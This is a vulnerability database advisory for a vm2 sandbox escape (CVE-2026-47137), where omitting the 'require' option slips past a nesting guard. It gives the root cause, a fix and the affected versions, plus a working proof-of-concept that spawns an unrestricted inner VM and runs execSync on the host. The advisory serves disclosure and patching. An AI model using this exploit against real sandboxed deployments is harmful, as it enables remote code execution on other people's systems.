Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-47137
Published:May 31, 2026
Updated:May 31, 2026
Summary The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in "nodevm.js" line 263 that blocks the combination "nesting: true" + "require: false". However, the check uses strict equality ("options.require === false"), which is trivially bypassed by omitting the "require" option entirely. When "require" is not specified, "options.require" is "undefined", not "false". The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default "require: requireOpts = false" assigns "requireOpts = false", producing the exact configuration the patch was designed to prevent. Root Cause // nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false Impact Full Remote Code Execution on the host system. An attacker running code inside a "NodeVM({ nesting: true })" sandbox (without specifying "require") can: 1. "require('vm2')" to get the vm2 library 2. Construct an inner "NodeVM" with "require: { builtin: ['child_process'] }" 3. Execute arbitrary OS commands via "child_process.execSync" The inner VM is completely unconstrained by the outer sandbox configuration. Reproduction const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run("const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' );", 'exploit.js'); console.log(result); // prints host uid/gid — full RCE Suggested Fix // Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); } Or move the check after the destructuring default assignment: const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); }
Affected Packages
vm2 (NPM):
Affected version(s) >=0.1.0 <3.11.4
Fix Suggestion:
Update to version 3.11.4
Do you need more information?
Contact Us
CVSS v4
Base Score:
10
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
HIGH
Subsequent System Availability
HIGH
CVSS v3
Base Score:
10
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH
Weakness Type (CWE)
Improper Control of Dynamically-Managed Code Resources